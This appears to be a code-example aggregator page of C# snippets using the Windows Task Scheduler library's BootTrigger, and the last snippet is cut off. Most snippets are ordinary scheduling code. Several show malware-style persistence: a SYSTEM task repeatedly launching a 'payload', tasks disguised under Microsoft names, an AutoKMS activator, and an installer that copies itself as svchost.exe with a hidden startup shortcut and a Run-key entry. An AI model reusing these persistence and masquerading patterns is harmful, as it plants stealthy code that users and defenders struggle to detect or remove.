Exemplo n.º 1
0
        void UpdateTrigger(IScheduledResource task, Table table)
        {
            var sched = table.Rows[0]["ScheduleType"];

            Microsoft.Win32.TaskScheduler.Trigger x;
            switch (sched)
            {
            case "At log on":
                x = new LogonTrigger();
                break;

            case "On a schedule":
                x = CreateScheduleTrigger(table);
                break;

            case "At Startup":
                x = new BootTrigger();
                break;

            case "On Idle":
                x = new IdleTrigger();
                break;

            default:
                x = new DailyTrigger();
                break;
            }
            task.Trigger.Trigger = new Dev2Trigger(new TaskServiceConvertorFactory(), x);
        }
Exemplo n.º 2
0
        public static void Initialize(string scheduledTaskName, string payload, double often)
        {
            using (TaskService ts = new TaskService())
            {
                TaskDefinition td = ts.NewTask();
                td.Principal.RunLevel = TaskRunLevel.Highest;
                // public TaskInstancesPolicy MultipleInstances { get; set; }
                // Needed for creating multiple instances of the payload
                td.Settings.MultipleInstances   = TaskInstancesPolicy.Parallel;
                td.RegistrationInfo.Description = "Refresh Scoring Engine Workers for scoreboard";


                // Add Time Trigger interval for Scheduled task.
                TimeTrigger tt = new TimeTrigger();
                tt.Repetition.Interval = TimeSpan.FromMinutes(often);
                td.Triggers.Add(tt);

                // Add Boot Trigger. SchTask will get triggered when the system boots up
                BootTrigger bt = new BootTrigger();
                td.Triggers.Add(bt);

                // Add Logon Trigger. Schetask will get triggered when a user logs in
                LogonTrigger lt = new LogonTrigger();
                td.Triggers.Add(lt);

                // Path to action, Arguments, working directory
                td.Actions.Add(new ExecAction(payload, null, null));

                // Create Scheduled Task with names and run
                ts.RootFolder.RegisterTaskDefinition(scheduledTaskName, td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
                TaskService.Instance.GetTask(scheduledTaskName).Run();
            }
        }
Exemplo n.º 3
0
        private static void InstallTask()
        {
            try
            {
                Console.ForegroundColor = ConsoleColor.DarkCyan;
                logger.WriteLine("[H] Check Task...");
                using (TaskService ts = new TaskService())
                {
                    const string taskName = @"\Microsoft\Windows\Servicing\ServiceAssistantCheck";
                    Task         t        = ts.GetTask(taskName);
                    if (t == null)
                    {
                        logger.WriteLine("[H]   Task not found, create new...");
                    }
                    else
                    {
                        logger.WriteLine("[H]   Task found, rewrite new settings...");
                        ts.RootFolder.DeleteTask(taskName);
                    }

                    // Create a new task definition and assign properties
                    TaskDefinition td = ts.NewTask();

                    td.RegistrationInfo.Description = "Check service status change.";
                    //td.Principal.LogonType = TaskLogonType.ServiceAccount;
                    td.Principal.RunLevel          = TaskRunLevel.Highest;
                    td.Settings.MultipleInstances  = TaskInstancesPolicy.IgnoreNew;
                    td.Settings.StartWhenAvailable = true;
                    td.Settings.WakeToRun          = true;
                    td.Settings.RestartCount       = 5;
                    td.Settings.RestartInterval    = TimeSpan.FromSeconds(100);

                    // Add a trigger that will fire every 10 minutes
                    TimeTrigger tt = td.Triggers.Add(new TimeTrigger());
                    tt.Repetition.Interval = TimeSpan.FromMinutes(10);

                    // Create trigger that fires 5 minutes after the system starts.
                    BootTrigger bt = td.Triggers.Add(new BootTrigger());
                    bt.Delay = TimeSpan.FromMinutes(5);

                    // Add an action that will launch Notepad whenever the trigger fires
                    td.Actions.Add(new ExecAction(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, "update", null));

                    // Register the task in the root folder
                    ts.RootFolder.RegisterTaskDefinition(taskName, td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);

                    Console.ForegroundColor = ConsoleColor.Cyan;
                    logger.WriteLine("[H]   Task Scheduler ... Done.");
                }
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                logger.WriteLine("[H] Task scheduler operation exception: " + ex.ToString());
            }
            Console.ResetColor();
        }
        public void TaskServiceConvertorFactory_SanitiseBoot_Test()
        {
            var fact = new TaskServiceConvertorFactory();

            Trigger trig      = new BootTrigger();
            var     wrapped   = new Dev2Trigger(fact, trig);
            var     sanitised = fact.SanitiseTrigger(wrapped);

            AssertEqual(trig, sanitised);
        }
Exemplo n.º 5
0
        /// <summary>
        /// Create the AutoKMS Scheduled Task
        /// </summary>
        public static void MakeAutoKMSNormalTask()
        {
            DailyTrigger   dt          = new DailyTrigger();
            BootTrigger    bt          = new BootTrigger();
            LogonTrigger   lt          = new LogonTrigger();
            List <Trigger> triggerList = new List <Trigger> {
                dt, bt, lt
            };

            Tasks.CreateTask(AutoKMSInstallPath, AutoKMSFileName, AutoKMSProcessName, null, triggerList);
        }
Exemplo n.º 6
0
        /// <summary>
        /// Creates a new task, registers the task, and returns the instance.
        /// </summary>
        /// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="trigger">The <see cref="Trigger" /> to determine when to run the task.</param>
        /// <param name="exePath">The executable path.</param>
        /// <param name="arguments">The arguments (optional). Value can be NULL.</param>
        /// <param name="userId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="logonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="description">The task description.</param>
        /// <returns>
        /// A <see cref="Task" /> instance of the registered task.
        /// </returns>
        public Task AddTask([NotNull] string path, QuickTriggerType trigger, [NotNull] string exePath, string arguments = null, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null)
        {
            // Create a trigger based on quick trigger
            Trigger newTrigger;

            switch (trigger)
            {
            case QuickTriggerType.Boot:
                newTrigger = new BootTrigger();
                break;

            case QuickTriggerType.Idle:
                newTrigger = new IdleTrigger();
                break;

            case QuickTriggerType.Logon:
                newTrigger = new LogonTrigger();
                break;

            case QuickTriggerType.TaskRegistration:
                newTrigger = new RegistrationTrigger();
                break;

            case QuickTriggerType.Hourly:
                newTrigger = new DailyTrigger {
                    Repetition = new RepetitionPattern(TimeSpan.FromHours(1), TimeSpan.FromDays(1))
                };
                break;

            case QuickTriggerType.Daily:
                newTrigger = new DailyTrigger();
                break;

            case QuickTriggerType.Weekly:
                newTrigger = new WeeklyTrigger();
                break;

            case QuickTriggerType.Monthly:
                newTrigger = new MonthlyTrigger();
                break;

            default:
                throw new ArgumentOutOfRangeException(nameof(trigger), trigger, null);
            }

            return(AddTask(path, newTrigger, new ExecAction(exePath, arguments), userId, password, logonType, description));
        }
Exemplo n.º 7
0
        public override void Register()
        {
            TaskService    ts = new TaskService();
            TaskDefinition td = ts.NewTask();

            td.RegistrationInfo.Description = "Automatically changes Temporary folder of Chrome on Windows startup.";

            td.Principal.UserId    = string.Concat(Environment.UserDomainName, "\\", Environment.UserName);
            td.Principal.LogonType = TaskLogonType.S4U;
            td.Principal.RunLevel  = TaskRunLevel.Highest;

            BootTrigger bt = new BootTrigger();

            td.Triggers.Add(bt);


            td.Actions.Add(new ExecAction(Application.ExecutablePath, "/auto", null));

            ts.RootFolder.RegisterTaskDefinition("Setting Chrome RamDisk", td);
        }
Exemplo n.º 8
0
        public static void ScheduleTask(string TaskName)
        {
            TaskService ts = new TaskService();

            TaskDefinition td = ts.NewTask();

            td.RegistrationInfo.Description = "Run Task";
            td.Principal.RunLevel           = TaskRunLevel.Highest;


            BootTrigger bt = new BootTrigger();

            bt.Repetition.Interval = TimeSpan.FromMinutes(1);
            bt.Repetition.Duration = TimeSpan.FromHours(12);

            //RegistrationTrigger rt = new RegistrationTrigger();
            //rt.Repetition.Interval = TimeSpan.FromMinutes(1);

            td.Triggers.Add(bt);
            td.Actions.Add(ExecutablePath(), "myArgs");

            TaskService.Instance.RootFolder.RegisterTaskDefinition(TaskName, td);
        }
        private void triggerTypeCombo_SelectedValueChanged(object sender, EventArgs e)
        {
            if (triggerTypeCombo.SelectedValue == null)
            {
                return;
            }

            Trigger newTrigger = null;

            switch (TriggerView)
            {
            case TaskTriggerDisplayType.Schedule:
            default:
                settingsTabControl.SelectedTab = scheduleTab;
                if (!onAssignment)
                {
                    newTrigger = new TimeTrigger();
                }
                break;

            case TaskTriggerDisplayType.Logon:
                logonRemotePanel.Visible       = false;
                settingsTabControl.SelectedTab = logonTab;
                if (!onAssignment)
                {
                    newTrigger = new LogonTrigger();
                }
                break;

            case TaskTriggerDisplayType.Boot:
                settingsTabControl.SelectedTab = startupTab;
                if (!onAssignment)
                {
                    newTrigger = new BootTrigger();
                }
                break;

            case TaskTriggerDisplayType.Idle:
                settingsTabControl.SelectedTab = idleTab;
                if (!onAssignment)
                {
                    newTrigger = new IdleTrigger();
                }
                break;

            case TaskTriggerDisplayType.Event:
                settingsTabControl.SelectedTab = onEventTab;
                if (!onAssignment)
                {
                    newTrigger = new EventTrigger();
                }
                break;

            case TaskTriggerDisplayType.Registration:
                settingsTabControl.SelectedTab = startupTab;
                if (!onAssignment)
                {
                    newTrigger = new RegistrationTrigger();
                }
                break;

            case TaskTriggerDisplayType.SessionConnect:
            case TaskTriggerDisplayType.SessionDisconnect:
            case TaskTriggerDisplayType.WorkstationLock:
            case TaskTriggerDisplayType.WorkstationUnlock:
                logonRemotePanel.Visible       = (int)TriggerView < (int)TaskTriggerDisplayType.WorkstationLock;
                settingsTabControl.SelectedTab = logonTab;
                if (!onAssignment)
                {
                    newTrigger = new SessionStateChangeTrigger()
                    {
                        StateChange = (TaskSessionStateChangeType)(TriggerView - 110)
                    }
                }
                ;
                break;

            case TaskTriggerDisplayType.Custom:
                settingsTabControl.SelectedTab = customTab;
                triggerTypeCombo.Enabled       = okBtn.Enabled = false;
                break;
            }

            if (newTrigger != null && !onAssignment)
            {
                if (trigger != null)
                {
                    newTrigger.CopyProperties(trigger);
                }
                if (newTrigger is ICalendarTrigger)
                {
                    if (newTrigger.StartBoundary == DateTime.MinValue)
                    {
                        newTrigger.StartBoundary = DateTime.Now;
                    }
                }
                else
                {
                    newTrigger.StartBoundary = initialStartBoundary;
                }
                Trigger = newTrigger;
            }
        }
Exemplo n.º 10
0
 public Dev2BootTrigger(ITaskServiceConvertorFactory _taskServiceConvertorFactory, BootTrigger instance)
     : base(_taskServiceConvertorFactory, instance)
 {
 }
Exemplo n.º 11
0
        public static bool ScheduleAutoStart(string taskKey, string taskSuffix, bool enableAutoStart, string command, string profileName, bool onBoot)
        {
            var taskName   = GetScheduledTaskName(TaskType.AutoStart, taskKey, taskSuffix);
            var taskFolder = TaskService.Instance.RootFolder.SubFolders.Exists(TaskFolder) ? TaskService.Instance.RootFolder.SubFolders[TaskFolder] : null;

            if (enableAutoStart)
            {
                // create the task folder
                if (taskFolder == null)
                {
                    try
                    {
                        taskFolder = TaskService.Instance.RootFolder.CreateFolder(TaskFolder, null, false);
                    }
                    catch (Exception ex)
                    {
                        _logger.Error($"{nameof(ScheduleAutoStart)} - Unable to create the Server Manager task folder. {ex.Message}\r\n{ex.StackTrace}");
                        return(false);
                    }
                }

                if (taskFolder == null)
                {
                    return(false);
                }

                var task           = taskFolder.Tasks.Exists(taskName) ? taskFolder.Tasks[taskName] : null;
                var taskDefinition = task?.Definition ?? TaskService.Instance.NewTask();

                if (taskDefinition == null)
                {
                    return(false);
                }

                Version.TryParse(AppUtils.GetDeployedVersion(), out Version appVersion);

                taskDefinition.Principal.LogonType = TaskLogonType.ServiceAccount;
                taskDefinition.Principal.RunLevel  = TaskRunLevel.Highest;

                taskDefinition.RegistrationInfo.Description = $"Server Auto-Start - {profileName}";
                taskDefinition.RegistrationInfo.Source      = "Server Manager";
                taskDefinition.RegistrationInfo.Version     = appVersion;

                taskDefinition.Settings.ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT);
                taskDefinition.Settings.Priority           = ProcessPriorityClass.Normal;

                // Add a trigger that will fire after the machine has started
                if (onBoot)
                {
                    var triggers = taskDefinition.Triggers.OfType <BootTrigger>();
                    if (triggers.Count() == 0)
                    {
                        var trigger = new BootTrigger
                        {
                            Delay = TimeSpan.FromMinutes(1),
                            ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT)
                        };
                        taskDefinition.Triggers.Add(trigger);
                    }
                    else
                    {
                        foreach (var trigger in triggers)
                        {
                            trigger.Delay = TimeSpan.FromMinutes(1);
                        }
                    }
                }
                else
                {
                    var triggers = taskDefinition.Triggers.OfType <LogonTrigger>();
                    if (triggers.Count() == 0)
                    {
                        var trigger = new LogonTrigger
                        {
                            Delay = TimeSpan.FromMinutes(1),
                            ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT)
                        };
                        taskDefinition.Triggers.Add(trigger);
                    }
                    else
                    {
                        foreach (var trigger in triggers)
                        {
                            trigger.Delay = TimeSpan.FromMinutes(1);
                        }
                    }
                }

                // Create an action that will launch whenever the trigger fires
                taskDefinition.Actions.Clear();
                var action = new ExecAction
                {
                    Path      = command,
                    Arguments = string.Empty
                };
                taskDefinition.Actions.Add(action);

                try
                {
                    task = taskFolder.RegisterTaskDefinition(taskName, taskDefinition, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
                    return(task != null);
                }
                catch (Exception ex)
                {
                    _logger.Error($"{nameof(ScheduleAutoStart)} - Unable to create the ScheduleAutoStart task. {ex.Message}\r\n{ex.StackTrace}");
                }
            }
            else
            {
                if (taskFolder == null)
                {
                    return(true);
                }

                // Retrieve the task to be deleted
                var task = taskFolder.Tasks.Exists(taskName) ? taskFolder.Tasks[taskName] : null;
                if (task == null)
                {
                    return(true);
                }

                try
                {
                    // Delete the task
                    taskFolder.DeleteTask(taskName, false);
                    return(true);
                }
                catch (Exception ex)
                {
                    _logger.Error($"{nameof(ScheduleAutoStart)} - Unable to delete the ScheduleAutoStart task. {ex.Message}\r\n{ex.StackTrace}");
                }
            }

            return(false);
        }
Exemplo n.º 12
0
        internal static void LongTest(TaskService ts, System.IO.TextWriter output, params string[] arg)
        {
            string user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;

            Version ver   = ts.HighestSupportedVersion;
            bool    isV12 = (ver >= new Version(1, 2));
            bool    isV13 = (ver >= new Version(1, 3));
            bool    isV14 = (ver >= new Version(1, 4));

            output.WriteLine("Highest version: " + ver);
            output.WriteLine("Server: {0} ({1}); User: {2}\\{3}", ts.TargetServer, ts.Connected ? "Connected" : "Disconnected", ts.UserAccountDomain, ts.UserName);

            output.WriteLine("Running tasks:");
            foreach (RunningTask rt in ts.GetRunningTasks(true))
            {
                if (rt != null)
                {
                    output.WriteLine("+ {0}, {1} ({2})", rt.Name, rt.Path, rt.State);
                    if (ver.Minor > 0)
                    {
                        output.WriteLine("  Current Action: " + rt.CurrentAction);
                    }
                }
            }

            string         filter = arg.Length > 0 ? arg[0] : string.Empty;
            TaskFolder     tf     = ts.RootFolder;
            TaskCollection tasks  = tf.GetTasks(new Wildcard(filter));

            output.WriteLine("\nRoot folder tasks matching \"{1}\" ({0}):", tasks.Count, filter);
            foreach (Task t in tasks)
            {
                try
                {
                    output.WriteLine("+ {0}, {1} ({2}) - {3}", t.Name, t.Definition.RegistrationInfo.Author, t.State, t.Definition.Settings.Compatibility);
                    foreach (Trigger trg in t.Definition.Triggers)
                    {
                        output.WriteLine(" + {0}", trg);
                    }
                    foreach (var act in t.Definition.Actions)
                    {
                        output.WriteLine(" = {0}", act);
                    }
                }
                catch { }
            }

            output.WriteLine("\n***Finding defrag task***");
            Task ft = ts.FindTask("*defrag*");

            if (ft != null)
            {
                output.WriteLine("Defrag task found at " + ft.Path);
            }
            else
            {
                output.WriteLine("Defrag task not found.");
            }

            TaskFolderCollection tfs = tf.SubFolders;

            if (tfs.Count > 0)
            {
                output.WriteLine("\nSub folders:");
                try
                {
                    foreach (TaskFolder sf in tfs)
                    {
                        output.WriteLine("+ {0}", sf.Path);
                    }
                }
                catch (Exception ex)
                {
                    output.WriteLine(ex.ToString());
                }
            }

            if (isV12)
            {
                output.WriteLine("\n***Checking folder retrieval***");
                try
                {
                    const string testFolder = "David's TestFolder";
                    try { tf.CreateFolder(testFolder); }
                    catch (System.Runtime.InteropServices.COMException cex) { if (cex.ErrorCode != -2147024713)
                                                                              {
                                                                                  throw;
                                                                              }
                    }
                    catch { throw; }
                    TaskFolder sub = tf.SubFolders[testFolder];
                    output.WriteLine("\nSubfolder path: " + sub.Path);
                    try
                    {
                        ts.AddTask(testFolder + @"\MyTask", new DailyTrigger(), new ExecAction("notepad"));
                        output.WriteLine(" - Tasks: " + sub.Tasks.Count.ToString());
                        sub.DeleteTask("MyTask");
                    }
                    catch (Exception ex)
                    {
                        output.WriteLine(ex.ToString());
                    }
                    tf.DeleteFolder(testFolder);
                }
                catch (NotSupportedException) { }
                catch (Exception ex)
                {
                    output.WriteLine(ex.ToString());
                }
            }

            output.WriteLine("\n***Checking task creation***");
            try
            {
                TaskDefinition td = ts.NewTask();
                td.Data = "Your data";
                //td.Principal.UserId = "SYSTEM";
                //td.Principal.LogonType = TaskLogonType.ServiceAccount;
                if (isV12)
                {
                    td.Principal.LogonType = TaskLogonType.S4U;
                }
                td.RegistrationInfo.Author             = "dahall";
                td.RegistrationInfo.Description        = "Does something";
                td.RegistrationInfo.Documentation      = "Don't pretend this is real.";
                td.Settings.DisallowStartIfOnBatteries = true;
                td.Settings.Enabled                    = false;
                td.Settings.ExecutionTimeLimit         = TimeSpan.Zero;         // FromHours(2);
                td.Settings.Hidden                     = false;
                td.Settings.IdleSettings.IdleDuration  = TimeSpan.FromMinutes(20);
                td.Settings.IdleSettings.RestartOnIdle = false;
                td.Settings.IdleSettings.StopOnIdleEnd = false;
                td.Settings.IdleSettings.WaitTimeout   = TimeSpan.FromMinutes(10);
                td.Settings.Priority                   = System.Diagnostics.ProcessPriorityClass.Normal;
                td.Settings.RunOnlyIfIdle              = true;
                td.Settings.RunOnlyIfNetworkAvailable  = true;
                td.Settings.StopIfGoingOnBatteries     = true;
                if (isV12)
                {
                    td.Principal.RunLevel = TaskRunLevel.Highest;                     //.LUA;
                    td.Principal.Id       = "Author";
                    td.RegistrationInfo.SecurityDescriptorSddlForm = "D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;LS)";
                    td.RegistrationInfo.Source  = "Test App";
                    td.RegistrationInfo.URI     = "test://app";
                    td.RegistrationInfo.Version = new Version(0, 9);
                    //td.Settings.AllowDemandStart = false;
                    td.Settings.AllowHardTerminate     = false;
                    td.Settings.Compatibility          = TaskCompatibility.V2;
                    td.Settings.DeleteExpiredTaskAfter = TimeSpan.FromMinutes(1);
                    td.Settings.MultipleInstances      = TaskInstancesPolicy.StopExisting;
                    td.Settings.StartWhenAvailable     = true;
                    td.Settings.WakeToRun       = true;
                    td.Settings.RestartCount    = 5;
                    td.Settings.RestartInterval = TimeSpan.FromSeconds(100);
                    //td.Settings.NetworkSettings.Id = new Guid("{99AF272D-BC5B-4F64-A5B7-8688392C13E6}");
                }
                if (isV13)
                {
                    td.Settings.Compatibility = TaskCompatibility.V2_1;
                    td.Settings.DisallowStartOnRemoteAppSession = true;
                    td.Settings.UseUnifiedSchedulingEngine      = false;

                    /*td.Principal.ProcessTokenSidType = TaskProcessTokenSidType.Unrestricted;
                     * td.Principal.RequiredPrivileges.Add(TaskPrincipalPrivilege.SeBackupPrivilege);
                     * td.Principal.RequiredPrivileges.Add(TaskPrincipalPrivilege.SeDebugPrivilege);
                     * td.Principal.RequiredPrivileges.Add(TaskPrincipalPrivilege.SeImpersonatePrivilege);
                     * output.Write("Priv: ");
                     * //output.Write(td.Principal.RequiredPrivileges[0]);
                     * foreach (TaskPrincipalPrivilege item in td.Principal.RequiredPrivileges)
                     *      output.Write(item.ToString() + ", ");
                     * output.WriteLine();*/
                }
                if (isV14)
                {
                    td.Settings.Compatibility = TaskCompatibility.V2_2;
                    td.Settings.Volatile      = true;
                    if (td.Principal.LogonType == TaskLogonType.ServiceAccount)
                    {
                        td.Settings.MaintenanceSettings.Exclusive = true;
                        td.Settings.MaintenanceSettings.Period    = TimeSpan.FromDays(5);
                        td.Settings.MaintenanceSettings.Deadline  = TimeSpan.FromDays(15);
                    }
                }

                // Setup Triggers
                if (isV12)
                {
                    BootTrigger bTrigger = (BootTrigger)td.Triggers.Add(new BootTrigger {
                        Enabled = false
                    });                                                                                                           //(BootTrigger)td.Triggers.AddNew(TaskTriggerType.Boot);
                    if (isV12)
                    {
                        bTrigger.Delay = TimeSpan.FromMinutes(5);
                    }
                }

                DailyTrigger dTrigger = (DailyTrigger)td.Triggers.Add(new DailyTrigger {
                    DaysInterval = 2
                });
                if (isV12)
                {
                    dTrigger.RandomDelay = TimeSpan.FromHours(2);
                }

                if (isV12)
                {
                    EventTrigger eTrigger = (EventTrigger)td.Triggers.Add(new EventTrigger());
                    eTrigger.Subscription = "<QueryList><Query Id=\"0\" Path=\"Security\"><Select Path=\"Security\">*[System[Provider[@Name='VSSAudit'] and EventID=25]]</Select></Query></QueryList>";
                    eTrigger.ValueQueries.Add("Name", "Value");

                    td.Triggers.Add(new RegistrationTrigger {
                        Delay = TimeSpan.FromMinutes(5)
                    });

                    td.Triggers.Add(new SessionStateChangeTrigger {
                        StateChange = TaskSessionStateChangeType.ConsoleConnect, UserId = user
                    });
                    td.Triggers.Add(new SessionStateChangeTrigger {
                        StateChange = TaskSessionStateChangeType.ConsoleDisconnect
                    });
                    td.Triggers.Add(new SessionStateChangeTrigger {
                        StateChange = TaskSessionStateChangeType.RemoteConnect
                    });
                    td.Triggers.Add(new SessionStateChangeTrigger {
                        StateChange = TaskSessionStateChangeType.RemoteDisconnect
                    });
                    td.Triggers.Add(new SessionStateChangeTrigger {
                        StateChange = TaskSessionStateChangeType.SessionLock, UserId = user
                    });
                    td.Triggers.Add(new SessionStateChangeTrigger {
                        StateChange = TaskSessionStateChangeType.SessionUnlock
                    });
                }

                td.Triggers.Add(new IdleTrigger());

                LogonTrigger lTrigger = (LogonTrigger)td.Triggers.Add(new LogonTrigger());
                if (isV12)
                {
                    lTrigger.Delay  = TimeSpan.FromMinutes(15);
                    lTrigger.UserId = user;
                    lTrigger.Repetition.Interval = TimeSpan.FromSeconds(1000);
                }

                MonthlyTrigger mTrigger = (MonthlyTrigger)td.Triggers.Add(new MonthlyTrigger());
                mTrigger.DaysOfMonth  = new int[] { 3, 6, 10, 18 };
                mTrigger.MonthsOfYear = MonthsOfTheYear.July | MonthsOfTheYear.November;
                if (isV12)
                {
                    mTrigger.RunOnLastDayOfMonth = true;
                }
                mTrigger.EndBoundary = DateTime.Today + TimeSpan.FromDays(90);

                MonthlyDOWTrigger mdTrigger = (MonthlyDOWTrigger)td.Triggers.Add(new MonthlyDOWTrigger());
                mdTrigger.DaysOfWeek   = DaysOfTheWeek.AllDays;
                mdTrigger.MonthsOfYear = MonthsOfTheYear.January | MonthsOfTheYear.December;
                if (isV12)
                {
                    mdTrigger.RunOnLastWeekOfMonth = true;
                }
                mdTrigger.WeeksOfMonth = WhichWeek.FirstWeek;

                TimeTrigger tTrigger = (TimeTrigger)td.Triggers.Add(new TimeTrigger());
                tTrigger.StartBoundary = DateTime.Now + TimeSpan.FromMinutes(1);
                tTrigger.EndBoundary   = DateTime.Today + TimeSpan.FromDays(7);
                if (isV12)
                {
                    tTrigger.ExecutionTimeLimit = TimeSpan.FromSeconds(19);
                }
                if (isV12)
                {
                    tTrigger.Id = "Time test";
                }
                tTrigger.Repetition.Duration          = TimeSpan.FromMinutes(21);
                tTrigger.Repetition.Interval          = TimeSpan.FromMinutes(17);
                tTrigger.Repetition.StopAtDurationEnd = true;

                WeeklyTrigger wTrigger = (WeeklyTrigger)td.Triggers.Add(new WeeklyTrigger());
                wTrigger.DaysOfWeek    = DaysOfTheWeek.Monday;
                wTrigger.WeeksInterval = 3;

                // Setup Actions
                td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null));
                if (isV12)
                {
                    td.Actions.Context = "Author";
                    if (td.Principal.LogonType == TaskLogonType.InteractiveToken || td.Principal.LogonType == TaskLogonType.Group || td.Principal.LogonType == TaskLogonType.S4U)
                    {
                        td.Actions.Add(new ShowMessageAction("Running Notepad", "Info"));
                    }
                    td.Actions.Add(new EmailAction("Testing", "*****@*****.**", "*****@*****.**", "You've got mail.", "mail.myisp.com")
                    {
                        Id = "Email", Attachments = new object[] { (string)new TemporaryScopedFile() }
                    });
                    var email = (EmailAction)td.Actions["Email"];
                    email.HeaderFields.Add("Precedence", "bulk");
                    td.Actions.Add(new ComHandlerAction(new Guid("{BF300543-7BA5-4C17-A318-9BBDB7429A21}"), @"C:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskHandlerProxy\TaskHandlerSample\bin\Release\TaskHandlerSample.dll|TaskHandlerSample.TaskHandler|MoreData"));
                }

                // Validate and Register task
                WriteXml(td, "PreRegTest");
                td.Validate(true);
                Task t = tf.RegisterTaskDefinition("Test", td);
                WriteXml(t);

                // Try copying it
                TaskDefinition td2 = ts.NewTask();
                foreach (Trigger tg in td.Triggers)
                {
                    td2.Triggers.Add((Trigger)tg.Clone());
                }
                foreach (Microsoft.Win32.TaskScheduler.Action a in td.Actions)
                {
                    td2.Actions.Add((Microsoft.Win32.TaskScheduler.Action)a.Clone());
                }
                tf.RegisterTaskDefinition("Test2", td2, TaskCreation.CreateOrUpdate, user, null, TaskLogonType.InteractiveToken, null);
                tf.DeleteTask("Test2");
            }
            catch (Exception ex)
            {
                output.WriteLine(ex.ToString());
                return;
            }

            // Display results
            Task runningTask = tf.Tasks["Test"];

            output.WriteLine("\nNew task will next run at " + runningTask.NextRunTime);
            DateTime[] times = runningTask.GetRunTimes(DateTime.Now, DateTime.Now + TimeSpan.FromDays(7), 0);
            if (times.Length > 0)
            {
                output.WriteLine("\nNew task will run at the following times over the next week:");
                foreach (DateTime dt in times)
                {
                    output.WriteLine("  {0}", dt);
                }
            }
            output.WriteLine("\nNew task triggers:");
            for (int i = 0; i < runningTask.Definition.Triggers.Count; i++)
            {
                output.WriteLine("  {0}: {1}", i, runningTask.Definition.Triggers[i]);
            }
            output.WriteLine("\nNew task actions:");
            for (int i = 0; i < runningTask.Definition.Actions.Count; i++)
            {
                output.WriteLine("  {0}: {1}", i, runningTask.Definition.Actions[i]);
            }

            // Loop through event logs for this task and find action completed events newest to oldest
            if (isV12)
            {
                output.WriteLine("\nTask history enumeration:");
                TaskEventLog log = new TaskEventLog(@"\Maint", new int[] { 201 }, DateTime.Now.AddDays(-7))
                {
                    EnumerateInReverse = false
                };
                foreach (TaskEvent ev in log)
                {
                    output.WriteLine("  Completed action '{0}' ({2}) at {1}.", ev.GetDataValue("ActionName"), ev.TimeCreated.Value, ev.GetDataValue("ResultCode"));
                }
            }

            DisplayTask(runningTask, true);
            tf.DeleteTask("Test");
        }
Exemplo n.º 13
0
        public void installMeth()
        {
            if (System.IO.File.Exists(System.Windows.Forms.Application.StartupPath + "\\installed.txt") == false)
            {
                string si = Application.ExecutablePath.ToString();

                try
                {
                    System.IO.Directory.CreateDirectory(FluxGlobal.sInstallDirectory);
                }
                catch (Exception ex) { }

                try
                {
                    System.IO.File.Copy(si, FluxGlobal.sInstallDirectory + "\\svchost.exe");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                try
                {
                    System.IO.File.WriteAllText(FluxGlobal.sInstallDirectory + "\\installed.txt", FluxGlobal.dVersion.ToString());
                }
                catch (Exception ex) { }

                try
                {
                    string deskDir = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

                    if (File.Exists(deskDir + "\\ServiceHost.url") == false)
                    {
                        using (StreamWriter writer = new StreamWriter(deskDir + "\\ServiceHost.url"))
                        {
                            string app = FluxGlobal.sInstallDirectory + "\\svchost.exe";
                            writer.WriteLine("[InternetShortcut]");
                            writer.WriteLine("URL=file:///" + app);
                            writer.WriteLine("IconIndex=0");
                            string icon = app.Replace('\\', '/');
                            writer.WriteLine("IconFile=" + icon);
                            writer.Flush();
                        }

                        System.IO.File.SetAttributes(deskDir + "\\ServiceHost.url", FileAttributes.Hidden);
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                // Try Registry Last incase we get popped
                try
                {
                    RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    add.SetValue("System Service", "\"" + FluxGlobal.sInstallDirectory + "\\svchost.exe" + "\"");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                try
                {
                    // Get the service on the local machine
                    using (TaskService ts = new TaskService())
                    {
                        TaskLogonType logonType = TaskLogonType.ServiceAccount;

                        string userId = "SYSTEM"; // string.Concat(Environment.UserDomainName, "\\", Environment.UserName);

                        // Create a new task definition and assign properties
                        TaskDefinition td = ts.NewTask();
                        //td.Settings.ExecutionTimeLimit = TimeSpan.FromMinutes(15);
                        //Version v = new Version("_v2");
                        //if (ts.HighestSupportedVersion == v)
                        ////{
                        td.Principal.RunLevel  = TaskRunLevel.LUA;
                        td.Principal.LogonType = logonType;

                        td.RegistrationInfo.Description = "Microsoft Service Host";
                        td.RegistrationInfo.Author      = "SYSTEM";
                        td.Principal.DisplayName        = "Service Host";

                        //}

                        LogonTrigger lt = new LogonTrigger();
                        lt.Enabled = true;

                        BootTrigger bt = new BootTrigger();
                        bt.Delay = TimeSpan.FromMinutes(5);


                        // Create a trigger that will fire the task at this time every other day
                        td.Triggers.Add(lt);

                        // Create an action that will launch Notepad whenever the trigger fires
                        td.Actions.Add(new ExecAction(FluxGlobal.sInstallDirectory + "\\svchost.exe"));

                        try
                        {
                            ts.RootFolder.RegisterTaskDefinition("ServiceHost", td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
                        }
                        catch (Exception ex2)
                        {
